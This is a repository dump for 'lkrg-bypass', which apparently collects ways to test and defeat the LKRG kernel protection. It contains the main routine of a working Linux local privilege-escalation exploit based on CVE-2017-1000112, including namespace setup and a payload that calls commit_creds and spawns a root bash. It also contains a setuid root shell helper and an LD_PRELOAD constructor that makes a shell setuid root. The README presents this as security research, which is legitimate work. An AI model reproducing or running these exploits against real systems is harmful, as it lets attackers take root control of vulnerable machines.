get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 487 | 488 | int i; 489 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 490 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 491 | strcmp(&version[0], kernels[i].version) == 0) { 492 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 493 | kernel = i; 494 | return; 495 | } 496 | } 497 | 498 | printf("[-] kernel version not recognized\n"); 499 | exit(EXIT_FAILURE); 500 | } 501 | 502 | #define PROC_CPUINFO_LENGTH 4096 503 | 504 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 505 | int smap_smep_enabled() { 506 | char buffer[PROC_CPUINFO_LENGTH]; 507 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 508 | if (length == -1) { 509 | perror("[-] open/read(/proc/cpuinfo)"); 510 | exit(EXIT_FAILURE); 511 | } 512 | int rv = 0; 513 | char* found = memmem(&buffer[0], length, "smep", 4); 514 | if (found != NULL) 515 | rv += 1; 516 | found = memmem(&buffer[0], length, "smap", 4); 517 | if (found != NULL) 518 | rv += 2; 519 | return rv; 520 | } 521 | 522 | void check_smep_smap() { 523 | int rv = smap_smep_enabled(); 524 | if (rv >= 2) { 525 | printf("[-] SMAP detected, no bypass available\n"); 526 | exit(EXIT_FAILURE); 527 | } 528 | #if !ENABLE_SMEP_BYPASS 529 | if (rv >= 1) { 530 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 531 | exit(EXIT_FAILURE); 532 | } 533 | #endif 534 | } 535 | 536 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 537 | 538 | static bool write_file(const char* file, const char* what, ...) { 539 | char buf[1024]; 540 | va_list args; 541 | va_start(args, what); 542 | vsnprintf(buf, sizeof(buf), what, args); 543 | va_end(args); 544 | buf[sizeof(buf) - 1] = 0; 545 | int len = strlen(buf); 546 | 547 | int fd = open(file, O_WRONLY | O_CLOEXEC); 548 | if (fd == -1) 549 | return false; 550 | if (write(fd, buf, len) != len) { 551 | close(fd); 552 | return false; 553 | } 554 | close(fd); 555 | return true; 556 | } 557 | 558 | void setup_sandbox() { 559 | int real_uid = getuid(); 560 | int real_gid = getgid(); 561 | 562 | if (unshare(CLONE_NEWUSER) != 0) { 563 | printf("[!] unprivileged user namespaces are not available\n"); 564 | perror("[-] unshare(CLONE_NEWUSER)"); 565 | exit(EXIT_FAILURE); 566 | } 567 | if (unshare(CLONE_NEWNET) != 0) { 568 | perror("[-] unshare(CLONE_NEWUSER)"); 569 | exit(EXIT_FAILURE); 570 | } 571 | 572 | if (!write_file("/proc/self/setgroups", "deny")) { 573 | perror("[-] write_file(/proc/self/set_groups)"); 574 | exit(EXIT_FAILURE); 575 | } 576 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 577 | perror("[-] write_file(/proc/self/uid_map)"); 578 | exit(EXIT_FAILURE); 579 | } 580 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 581 | perror("[-] write_file(/proc/self/gid_map)"); 582 | exit(EXIT_FAILURE); 583 | } 584 | 585 | cpu_set_t my_set; 586 | CPU_ZERO(&my_set); 587 | CPU_SET(0, &my_set); 588 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 589 | perror("[-] sched_setaffinity()"); 590 | exit(EXIT_FAILURE); 591 | } 592 | 593 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 594 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 595 | exit(EXIT_FAILURE); 596 | } 597 | if (system("/sbin/ifconfig lo up") != 0) { 598 | perror("[-] system(/sbin/ifconfig lo up)"); 599 | exit(EXIT_FAILURE); 600 | } 601 | } 602 | 603 | void exec_shell() { 604 | char* shell = "/bin/bash"; 605 | char* args[] = {shell, "-i", NULL}; 606 | execve(shell, args, NULL); 607 | } 608 | 609 | bool is_root() { 610 | // We can't simple check uid, since we're running inside a namespace 611 | // with uid set to 0. Try opening /etc/shadow instead. 612 | int fd = open("/etc/shadow", O_RDONLY); 613 | if (fd == -1) 614 | return false; 615 | close(fd); 616 | return true; 617 | } 618 | 619 | void check_root() { 620 | printf("[.] checking if we got root\n"); 621 | if (!is_root()) { 622 | printf("[-] something went wrong =(\n"); 623 | return; 624 | } 625 | printf("[+] got r00t ^_^\n"); 626 | exec_shell(); 627 | } 628 | 629 | int main(int argc, char** argv) { 630 | printf("[.] starting\n"); 631 | 632 | printf("[.] checking distro and kernel versions\n"); 633 | detect_versions(); 634 | printf("[~] done, versions looks good\n"); 635 | 636 | printf("[.] checking SMEP and SMAP\n"); 637 | check_smep_smap(); 638 | printf("[~] done, looks good\n"); 639 | 640 | printf("[.] setting up namespace sandbox\n"); 641 | setup_sandbox(); 642 | printf("[~] done, namespace sandbox set up\n"); 643 | 644 | #if ENABLE_KASLR_BYPASS 645 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 646 | KERNEL_BASE = get_kernel_addr(); 647 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 648 | #endif 649 | 650 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 651 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 652 | 653 | unsigned long payload = (unsigned long)&get_root; 654 | 655 | #if ENABLE_SMEP_BYPASS 656 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 657 | mmap_stack(); 658 | payload = XCHG_EAX_ESP_RET; 659 | printf("[~] done, fake stack mmapped\n"); 660 | #endif 661 | 662 | printf("[.] executing payload %lx\n", payload); 663 | oob_execute(payload); 664 | printf("[~] done, should be root now\n"); 665 | 666 | check_root(); 667 | 668 | return 0; 669 | } 670 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # lkrg-bypass 2 | 3 | The repository contains set of methods which I consider to be useful to test LKRG protection against exploitation. 4 | 5 | The history of researching of such methods started a year back with my the very first comment to LKRG community of how I see the LKRG protection can be bypassed: 6 | 7 | - https://www.openwall.com/lists/lkrg-users/2018/11/16/2 8 | 9 | There were few more discussions later: 10 | 11 | - https://www.openwall.com/lists/lkrg-users/2018/11/17/4 12 | - https://www.openwall.com/lists/lkrg-users/2019/02/20/1 13 | 14 | Even though it was stated that LKRG is bypassable by design the project continues to be developed by it's main contributor Adam Zabrocki. 15 | 16 | Personally, I found the LKRG source code very well written and I consider it as a great engineering project wich has an amazing integration into the low level kernel's stuff. I really appreciate Adam's effort he put to develop the project. It's an amazing example of how it's possible to develop a high quality out-of-tree kernel module which has so deep kernel integration. 17 | 18 | The repository is organized as a set of methods which I developed while I was playing with LKRG. The following pre-conditions were considered: 19 | 20 | - [CVE-2017-1000112](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112) exploit was used as a test sample base (cc: @xairy) 21 | - `Ubuntu 16.04.4 LTS` with kernel `4.8.0-53-generic` was used as a test box along with vagrant (vbox) 22 | - `SMAP`/`SMEP` bypass was not considered to be in the scope of the exploit 23 | 24 | Here I have to say few words about `SMAP`/`SMEP`. I'm pretty sure that of two features only one makes sense: `SMAP`. `SMEP` it's not a big deal and it has nothing against the ROP which is widely used by exploits. So, let's not consider `SMEP` as a problem at all because it's possible to make the exploitation without execution the code from user-mode address space. `SMAP` is the only valuable security feature of the CPU but the exploitation can be done without touching the user space from the context of the kernel. In other words, it's possible to have a ROP chain reliably delivered to the kernel without the need of bypassing `SMAP`. Again, let's put it out of the scope at least now. 25 | -------------------------------------------------------------------------------- /shell/shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | char* argv[] = { "/bin/bash", "-i", NULL }; 6 | setuid(0), setgid(0); 7 | execve(argv[0], argv, NULL); 8 | } 9 | -------------------------------------------------------------------------------- /shell/shell_preload.c: -------------------------------------------------------------------------------- 1 | #include "poc.h" 2 | 3 | #include 4 | #include 5 | 6 | extern char **environ; 7 | 8 | int __attribute__((constructor)) init() 9 | { 10 | char **p = environ; 11 | while (*p) { 12 | if (!strcmp(*p, LD_PRELOAD_SHELL)) { 13 | *p[0] = 'X'; 14 | break; 15 | } 16 | p++; 17 | } 18 | 19 | system("/bin/chown 0:0 " SHELL " 2>/dev/null"); 20 | system("/bin/chmod +sx " SHELL " 2>/dev/null"); 21 | 22 | return 0; 23 | } 24 | --------------------------------------------------------------------------------